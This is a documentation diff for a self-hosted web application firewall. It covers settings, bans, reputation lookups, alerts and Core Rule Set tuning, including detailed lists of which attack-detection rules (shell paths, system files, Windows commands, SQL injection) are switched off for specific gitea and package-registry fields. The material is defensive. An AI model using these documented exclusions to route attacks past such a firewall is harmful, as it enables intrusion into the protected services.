| `SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. |
| `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. |
| `SWW_WAF_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` (the lowest wins). |
| `SWW_WAF_RULE_FILES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. |
| `SWW_WAF_RULE_FILES_ENABLED` | `true` | `false` reads no rule file. |
| `SWW_WAF_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. |
| `SWW_WAF_CORE_RULE_SET_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. |
| `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. |
| `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. |
| `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. |
| `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
| `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
| `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
| `SWW_WAF_APPS` | unset | The apps each hostname serves, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. "Attack detection" lists the apps. Listing `forgejo` brings gitea's fixes too. Unset, every app's fixes apply to every hostname. |
| `SWW_WAF_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
| `SWW_WAF_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
| `SWW_WAF_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
| `SWW_WAF_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. |
| `SWW_WAF_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. |
| `SWW_WAF_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. |
| `SWW_WAF_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. |
| `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. |
| `SWW_WAF_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. |
| `SWW_WAF_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. |
| `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. |
| `SWW_WAF_IP_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. |
| `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS` | `2000` | How long a DNS blocklist query or an AbuseIPDB check may take, in milliseconds. |
| `SWW_WAF_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
| `SWW_WAF_BANS_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
| `SWW_WAF_STATE_WRITE_INTERVAL` | `15m` | How often every state and cache file is written. |
| `SWW_WAF_CACHE_DIR` | `/var/cache/sww` | The directory of the cache files, an absolute path. |
| `SWW_WAF_LOG_LEVEL` | `info` | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
| `SWW_WAF_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
| `SWW_WAF_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
| `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
| `SWW_WAF_LOG_REMOTE_BUFFER_LINES` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
| `SWW_WAF_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
| `SWW_WAF_LOG_REMOTE_APP_NAME` | `SWW_WAF_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. |
| `SWW_WAF_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. |
| `SWW_WAF_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. |
| `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. |
| `SWW_WAF_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. |
| `SWW_WAF_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. |
| `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. |
| `SWW_WAF_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. |
| `SWW_WAF_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. |
| `SWW_WAF_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. |
| `SWW_WAF_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. |
| `SWW_WAF_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. |
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. |
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one client in a minute, a size. |
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one client in an hour, a size. |
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. |
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the netblock around a client in a minute, a size. |
| `SWW_WAF_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the netblock around a client in an hour, a size. |
| `SWW_WAF_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 32. |
| `SWW_WAF_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 128. |
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. |
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one AS number in a minute, a size. |
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one AS number in an hour, a size. |
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. |
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the whole service in a minute, a size. |
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the whole service in an hour, a size. |
| `SWW_WAF_ANOMALY_WATCHED_NETS` | empty | Named netblocks the `SWW_WAF_ANOMALY_WATCHED_NET_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. |
| `SWW_WAF_ANOMALY_WATCHED_NET_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. |
| `SWW_WAF_ANOMALY_WATCHED_NET_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_WATCHED_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for a watched netblock in a minute, a size. |
| `SWW_WAF_ANOMALY_WATCHED_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for a watched netblock in an hour, a size. |
[`docs/settings.md`](docs/settings.md) gives the values each setting takes in
full, and the limits that are fixed rather than settings.
@@ -455,7 +455,7 @@ services:
environment:
SWW_RPROXY_WAF_BACKEND: http://waf:8080
# Answer 503 rather than pass a request on while waf is down.
SWW_RPROXY_DEFAULT_DISPOSITION: deny
SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION: deny
ports:
- "8080:8080"
@@ -537,12 +537,12 @@ request reaches the app.
17. The request is passed to the app, streaming.
18. After the answer, `rproxy` sends `waf` a report with the status and the body
bytes each way. For an allowed request, `waf` counts the bytes
`SWW_WAF_BYTES_COUNT` names toward the byte limits, bans the client if they
take it past one, and adds the request to the client's history.
`SWW_WAF_BYTES_COUNTED` names toward the byte limits, bans the client if
they take it past one, and adds the request to the client's history.
A refused visitor is answered with `SWW_WAF_BAN_RESPONSE`. A `block` rule or a
Core Rule Set match answers `403` and bans nobody, since the Core Rule Set has
false positives; such refusals count toward `SWW_WAF_ERROR_BURST_THRESHOLD`
false positives; such refusals count toward `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE`
instead. A request over the header limits of step 3 is answered `431`, and bans
nobody either. `rproxy` itself answers `405` to a method it does not pass on,
and the status for a size or time limit, such as `413` for a body too large.
@@ -583,8 +583,8 @@ lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
- The Core Rule Set reads the method, the URL with its query string, and the
headers of every request, and no body unless
`SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set. In front of a code forge, bodies
carry what people write and publish, which the rules take for attacks.
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. In front of a code forge,
bodies carry what people write and publish, which the rules take for attacks.
- `smallwebwaf` changes the Core Rule Set in five ways so that it lets ordinary
requests to a code forge through, such as git over HTTP and sign-in through
Git Credential Manager. No setting undoes the changes; "Attack detection" in
@@ -609,9 +609,9 @@ lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
- `nextcloud`, whose fixes let through its sync client, its WebDAV methods,
its searches, its file names, its account names, its comments and its
documents;
- `ghost`, whose fixes let through its filters, its searches, its names, its
email addresses, its code injection, its settings and a post saved from
its editor, HTML included.
- `ghost`, whose fixes let through the text its admin and members type, its
analytics, its code injection, ActivityPub and a post saved from its
editor, HTML included.
- A random password, as a password manager makes one, gets through these forms:
- signing in, signing up, and changing or resetting a password, on
WordPress, Drupal, MediaWiki, Mastodon, Nextcloud, gitea and Ghost;
+284 -166
View File
@@ -157,12 +157,13 @@ field gives that name. `refusal_limit` and `byte_limits` give theirs in
`prefix=` tags while `SWW_WAF_ROUTEWATCH_URL` is set. A client in
`SWW_WAF_ALLOW_NETS` skips the header limits and gets no tag.
4. The static lists. A client in `SWW_WAF_ALLOW_NETS` skips steps 5 to 15, the
byte limits and the error burst. A client in `SWW_WAF_DENY_NETS` is refused
byte limits and the refusal limit. A client in `SWW_WAF_DENY_NETS` is refused
(`deny_nets`); a client in both lists is let through.
5. Bans. A client under a ban is refused (`active_ban`; see "Bans").
6. The lookup, unless `SWW_WAF_LOOKUP_SOURCE` is `off` (see "Lookup of AS number
and country"). The request goes on at once. It waits for the first GeoJS
answer, up to `SWW_WAF_LOOKUP_TIMEOUT`, only when one of these needs it:
answer, up to `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS`, only when one of
these needs it:
- the country list;
- a biased threshold;
- `SWW_WAF_TAG_DENY` or `SWW_WAF_TAG_LIMIT_PERCENT` naming an `asn=` or
@@ -176,10 +177,10 @@ field gives that name. `refusal_limit` and `byte_limits` give theirs in
- A client on a fetched blocklist gets `SWW_WAF_BLOCKLIST_ACTION`
(`blocklists`).
- A client on the CrowdSec decision list is banned (`crowdsec`).
- A client listed by a DNS blocklist gets `SWW_WAF_REPUTATION_ACTION`
- A client listed by a DNS blocklist gets `SWW_WAF_DNSBL_ABUSEIPDB_ACTION`
(`dnsbl`).
- A client scored at least `SWW_WAF_ABUSEIPDB_MIN_SCORE` by AbuseIPDB gets
`SWW_WAF_REPUTATION_ACTION` (`abuseipdb`).
`SWW_WAF_DNSBL_ABUSEIPDB_ACTION` (`abuseipdb`).
9. The tag refusals (`tag_deny`; see "Request tags"). A request carrying a tag
in `SWW_WAF_TAG_DENY` is refused.
10. The client's limit percentage (see "Biased thresholds").
@@ -204,18 +205,18 @@ field gives that name. `refusal_limit` and `byte_limits` give theirs in
18. After the visitor's answer has ended, `rproxy` sends the report (see "The
report"). `waf` then counts:
- For a request it allowed, the body bytes of the response, of the request
or of both are added to the byte counters, as `SWW_WAF_BYTES_COUNT` says.
For a WebSocket, what it carried each way counts once it closes. A client
whose total passes a byte limit times the percentage has broken that limit
and is banned (`byte_limits`). The request that broke it has already been
passed on whole; nothing is cut off.
or of both are added to the byte counters, as `SWW_WAF_BYTES_COUNTED`
says. For a WebSocket, what it carried each way counts once it closes. A
client whose total passes a byte limit times the percentage has broken
that limit and is banned (`byte_limits`). The request that broke it has
already been passed on whole; nothing is cut off.
- For a request it allowed, the client's history and the anomaly counters
are updated, and the alert thresholds are evaluated.
For a request it refused, `waf` adds nothing to the byte limits. It updates
the history and the anomaly counters at its decision. It counts the refusals
the error burst counts at the decision too (`refusal_limit`; see "Attack
detection").
the history and the anomaly counters at its decision. A refusal for a rule
file match, a trap path or a Core Rule Set match also counts toward the
refusal limit at the decision (`refusal_limit`; see "Attack detection").
In `SWW_WAF_MODE=observe`, every refusal above is logged as what would have
happened, nothing is refused, and `waf` makes no ban of its own. A path under
@@ -279,7 +280,7 @@ to a ban, each by its own rule:
- a request over a rate limit;
- the bytes counted for a request and its response taking the client's total
past a byte limit;
- more than `SWW_WAF_ERROR_BURST_THRESHOLD` refusals within a minute.
- more than `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` refusals within a minute.
The bans for a broken limit:
- The first such ban lasts `SWW_WAF_LIMIT_BAN_DURATION` (default `1h`), with
@@ -288,15 +289,16 @@ to a ban, each by its own rule:
ended.
- Breaking a limit again within that window makes the new ban three times as
long as the last one: one hour, then 3, 9, 27 and 81 hours.
- A ban that would be longer than `SWW_WAF_MAX_BAN_DURATION` (default `7d`)
is permanent instead. At the defaults, that is the sixth ban in a row.
- A ban that would be longer than `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE`
(default `7d`) is permanent instead. At the defaults, that is the sixth
ban in a row.
- Each such ban sets the client's counters for every limit back to zero.
Once it ends, only new requests can break a limit again. The client's
history keeps its totals.
A Core Rule Set match refuses only the request it matched, with `403` and
without a ban, because the Core Rule Set has false positives. A `block` rule
does the same. Those refusals count toward the error burst, so a client that
does the same. Those refusals count toward the refusal limit, so a client that
keeps setting them off is banned for a broken limit.
A client on the CrowdSec decision list is banned until the decision ends, with
@@ -350,8 +352,9 @@ below are `waf`'s settings; "`rproxy`" gives the use of `rproxy`'s. Conventions:
- These settings take `off`, which switches them off:
- `SWW_WAF_LOOKUP_SOURCE` and `SWW_WAF_CORE_RULE_SET_MODE`;
- the three rate limits and the three byte limits;
- `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD`,
`SWW_WAF_CORE_RULE_SET_BODY_LIMIT` and `SWW_WAF_ERROR_BURST_THRESHOLD`;
- `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD`,
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` and
`SWW_WAF_REFUSALS_LIMIT_PER_MINUTE`;
- `SWW_WAF_ALERT_COOLDOWN` and `SWW_WAF_ALERT_MAX_PER_HOUR`;
- every anomaly threshold;
- `SWW_RPROXY_MAX_REQUEST_SIZE`, `SWW_RPROXY_MAX_RESPONSE_SIZE`,
@@ -404,9 +407,9 @@ below are `waf`'s settings; "`rproxy`" gives the use of `rproxy`'s. Conventions:
- `SWW_WAF_STATE_DIR` names the directory of the state files, and
`SWW_WAF_CACHE_DIR` that of the cache files (see "State" under "Deployment").
- `bans.json` is written `SWW_WAF_STATE_WRITE_DELAY` after a ban is made, lifted
- `bans.json` is written `SWW_WAF_BANS_WRITE_DELAY` after a ban is made, lifted
or made permanent, so a burst of changes becomes one write. Every file is
written every `SWW_WAF_STATE_COUNTER_INTERVAL`, and at an orderly stop.
written every `SWW_WAF_STATE_WRITE_INTERVAL`, and at an orderly stop.
### Logging
@@ -420,15 +423,16 @@ below are `waf`'s settings; "`rproxy`" gives the use of `rproxy`'s. Conventions:
### Metrics
- `SWW_WAF_METRICS_TOP_N` is how many of the busiest AS numbers and countries
get a series of their own. The rest are summed as `other`, so the label set
stays bounded.
- `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` is how many of the busiest AS
numbers and countries get a series of their own. The rest are summed as
`other`, so the label set stays bounded.
### Static lists
- `SWW_WAF_ALLOW_NETS` skips the checks step 4 names, for monitoring or the
owner's own networks. `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` bypasses the request
and byte limits only; the error burst, attack detection and bans still apply.
and byte limits only; the refusal limit, attack detection and bans still
apply.
- Many people can share one address, as in an office, on a mobile carrier or
through Tor. They are one client, and share its limits and its bans. A known
shared address busier than the limits allow belongs in `SWW_WAF_ALLOW_NETS` or
@@ -474,7 +478,7 @@ app may read it as a path outside the prefix.
### Byte limits, per client
The byte limits count body bytes: the app's response bodies, the visitors'
request bodies, or both, as `SWW_WAF_BYTES_COUNT` says. Headers are never
request bodies, or both, as `SWW_WAF_BYTES_COUNTED` says. Headers are never
counted. What the visitor sent over a WebSocket counts as request bytes, and
what the app sent as response bytes. The bytes counted for a request and its
response are added to the client's total once the response has ended (see step
@@ -510,11 +514,11 @@ service that keeps its visitors' addresses on its own host.
are kept apart from the table of clients, so that an answer outlasts a client
dropped from that table. The answer reaches the client's history and ban notes
when it comes.
- `SWW_WAF_LOOKUP_TIMEOUT` is how long a visitor's request waits for its
client's first answer, when a setting needs it (see step 6). It also bounds
each request to GeoJS. A client whose answer has not come in time counts as
unknown until it comes, and its later requests do not wait. Its address is
asked about again in the background.
- `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` is how long a visitor's request
waits for its client's first answer, when a setting needs it (see step 6). It
also bounds each request to GeoJS. A client whose answer has not come in time
counts as unknown until it comes, and its later requests do not wait. Its
address is asked about again in the background.
- A client the lookup cannot place has an unknown country and AS number, which
the country list and the biased thresholds treat as described there. Nothing
else treats it differently.
@@ -576,7 +580,7 @@ Each tag and where it comes from:
key masked, as the `reputation` field gives it.
- `exploitsignature`, when a rule file or the Core Rule Set matched the request.
For the Core Rule Set a match is a score at or over
`SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD`.
`SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD`.
- `asn=<number>` and `prefix=<netblock>` from a routewatch instance
(`routewatch_tags`), while `SWW_WAF_ROUTEWATCH_URL` is set:
- The tag `prefix=` holds the netblock the client's address is announced in,
@@ -623,13 +627,13 @@ abuse comes from.
- `SWW_WAF_TAG_LIMIT_PERCENT` gives a tag a percentage, such as `asn=14061:50`
(see "Request tags"). A lowered limit is rounded down.
- `SWW_WAF_UNKNOWN_LIMIT_PERCENT` at `0` is a zero allowance: the client's first
request breaks a limit and bans it.
- `SWW_WAF_ASN_BYTES_PERCENT` and `SWW_WAF_COUNTRY_BYTES_PERCENT` set the byte
limits' percentage alone, when it should differ from the request limits'. For
an AS number they list, they replace its `asn=` tag's percentage and its entry
in `SWW_WAF_ASN_LIMIT_PERCENT_URL`; for a country, its `country=` tag's
percentage.
- `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` at `0` is a zero allowance: the
client's first request breaks a limit and bans it.
- `SWW_WAF_ASN_BYTES_LIMIT_PERCENT` and `SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT`
set the byte limits' percentage alone, when it should differ from the request
limits'. For an AS number they list, they replace its `asn=` tag's percentage
and its entry in `SWW_WAF_ASN_LIMIT_PERCENT_URL`; for a country, its
`country=` tag's percentage.
- `SWW_WAF_ASN_LIMIT_PERCENT_URL` names a text file of `AS:percent` lines, so
one abuse-source list can be shared by every `waf` in the fleet. It is fetched
and kept like a blocklist (see "Reputation"). Each entry counts like an `asn=`
@@ -637,8 +641,8 @@ abuse comes from.
applies.
- A client's limit percentage is the lowest of those that apply to it: its AS
number's, its country's, its tags', or a reputation hit's `limit:<percent>`. A
client without a country gets `SWW_WAF_UNKNOWN_LIMIT_PERCENT` in place of a
country's. The percentage is 100 if none applies. Clients given a lower
client without a country gets `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` in place
of a country's. The percentage is 100 if none applies. Clients given a lower
percentage are banned after fewer requests, first for a while and then, for
repeated abuse, permanently. The log line of each counted request, and the
notes of each ban, say which setting lowered the limit.
@@ -660,16 +664,16 @@ files, the limits and the bans still apply to the client that sends it.
- The Core Rule Set skips a path under `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS`.
- `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` and
`SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` are the Core Rule Set's own two
tuning values, at its own defaults. Each level up runs more rules, which find
more attacks and take more ordinary requests for attacks. Each rule that
matches adds its score to the request's, and a rule rated critical adds 5. A
request whose score reaches the threshold is a match, so by default one
critical rule is enough. With the threshold `off`, nothing is a match, and
scores are still logged. A request with more than 1000 query parameters or
body fields adds 5 to its score, since Coraza reads only the first 1000. For a
match, in `block` and `detect` mode alike, the log line gives the rule ids and
the score, and a `core_rule_set_match` alert is sent.
`SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` are the Core Rule Set's own two tuning
values, at its own defaults. Each level up runs more rules, which find more
attacks and take more ordinary requests for attacks. Each rule that matches
adds its score to the request's, and a rule rated critical adds 5. A request
whose score reaches the threshold is a match, so by default one critical rule
is enough. With the threshold `off`, nothing is a match, and scores are still
logged. A request with more than 1000 query parameters or body fields adds 5
to its score, since Coraza reads only the first 1000. For a match, in `block`
and `detect` mode alike, the log line gives the rule ids and the score, and a
`core_rule_set_match` alert is sent.
- `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` switches off rule ids when an app trips
a false positive. The default switches off six rules:
- 920340, 920420 and 920640 refuse a request for the type of its body, when
@@ -707,14 +711,14 @@ files, the limits and the bans still apply to the client that sends it.
loads, such as `SecRuleRemoveById`, since none of the Core Rule Set's
rules is loaded yet.
- `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` switches body inspection on, up to that
size. It takes at most `64K`, since `waf` gets no more of a body than that
(see "The answer"). Form data and multipart bodies are read up to the size.
JSON and XML bodies are read only when no larger than the size, since those
cannot be read in part. Any other body is not read: the Core Rule Set would
read it as form data, where binary content such as a git push trips rules
written for text. A body the Core Rule Set cannot parse adds 5 to the score,
and so does a multipart body cut by the limit in the middle of a part's
- `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` switches body inspection on, up
to that size. It takes at most `64K`, since `waf` gets no more of a body than
that (see "The answer"). Form data and multipart bodies are read up to the
size. JSON and XML bodies are read only when no larger than the size, since
those cannot be read in part. Any other body is not read: the Core Rule Set
would read it as form data, where binary content such as a git push trips
rules written for text. A body the Core Rule Set cannot parse adds 5 to the
score, and so does a multipart body cut by the limit in the middle of a part's
header. Body inspection suits apps whose forms carry no code.
- `SWW_WAF_TRAP_PATHS` names paths the app never serves and only scanners ask
for, such as `/wp-login.php` in front of an app that is not WordPress. This is
@@ -723,8 +727,8 @@ files, the limits and the bans still apply to the client that sends it.
the path as sent and once percent-decoded: `/wp-login.php` matches
`/wp-login.php?x=1` and `/%77p-login.php`, and does not match `/wp-login.php/`
or `/blog/wp-login.php`.
- `SWW_WAF_ERROR_BURST_THRESHOLD` counts a client's refusals per minute of these
kinds, and of no other:
- `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` counts a client's refusals per minute of
these kinds, and of no other:
- a rule file match;
- a trap path;
- a Core Rule Set match.
@@ -748,10 +752,10 @@ every app, and no setting undoes them:
Core Rule Set does not read, which by default is every request. git
compresses a fetch request over 1 KiB and says so in that header. On a body
the Core Rule Set does read, the header stays refused, since a compressed
body cannot be inspected. While `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set, it
stays refused too on a `PUT` of JSON, XML or form data to Nextcloud's WebDAV
paths, whose body Nextcloud's fixes leave unread. The other headers the Core
Rule Set refuses, such as `Proxy`, stay refused.
body cannot be inspected. While `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE`
is set, it stays refused too on a `PUT` of JSON, XML or form data to
Nextcloud's WebDAV paths, whose body Nextcloud's fixes leave unread. The
other headers the Core Rule Set refuses, such as `Proxy`, stay refused.
3. The `redirect_uri` parameter is not checked for a URL naming an IP address or
`localhost` (931100, 934110). Git Credential Manager, git-credential-oauth
and tea, which gitea registers for OAuth sign-in, ask to be sent back to
@@ -812,7 +816,7 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
- `artifactName` and `redirect_to`.
They skip these rules in the query, and in a form data or multipart body
while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set.
while `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set.
gitea puts into them file paths, branch and workflow names, and the page to
return to after signing in. It reads these values as names in a repository
@@ -879,11 +883,13 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
which refused `org.apache.commons.logging`.
A branch, tag or package name can hold a slash, as `feat/docker-support`
does. So `q` skips the rule for shell paths (932160) too on these pages,
where it refused `/bin/sh`:
does. So `q` skips the rule for shell paths (932160) too on these
searches, where it refused `/bin/sh`:
- a repository's branches, tags and packages pages;
- an owner's packages page;
- the admin page of packages.
- the admin page of packages;
- the API's search of packages;
- the searches of the Composer and Conan registries.
- `q` on gitea's other searches, for the same four rules. Words such as
`python3`, `powershell`, `ls -la` and `.htaccess` were refused there. The
@@ -898,12 +904,37 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
- the runner lists of the site, a user, an organisation and a
repository;
- the admin lists of users, organisations, repositories, unadopted
repositories and emails.
repositories and emails;
- the API's searches of topics, of an organisation's teams and of
emails;
- the searches of the Cargo, Chef, Composer and Conan registries, and
the NuGet registry's search service.
Most send `q` in the query string. The admin forms that adopt a
repository or activate an email send it in the body. gitea serves its
admin pages under `/-/admin/` and Forgejo under `/admin/`.
- Two fields of the API's searches other than `q`, for the same four rules:
- `query` of the search of unadopted repositories, which holds an owner
and a name, such as `alice/python3-app`;
- `name` of the search of a repository's milestones.
- Fields of the package registries' searches:
- `text` of the npm registry's search, for the same four rules and the
rule for shell paths (932160). An npm name can hold a slash, as
`@alice/tools-cli` does.
- `searchTerm` of the NuGet registry's searches `Search()` and
`Packages()`, for the same four rules.
- `$filter` of those two searches, for the lists of system files and
Windows commands (930120, 932120). It holds an expression such as
`tolower(Id) eq 'python3'`.
- The names `$filter`, `$orderby` and `$top` on those two searches, for
the rule for MongoDB operators (942290). It refused every such search.
- `q` of a Conan search, for the rule for SQL injection (942100), which
refused the pattern `zlib/*`. `q` skips it only when the query string
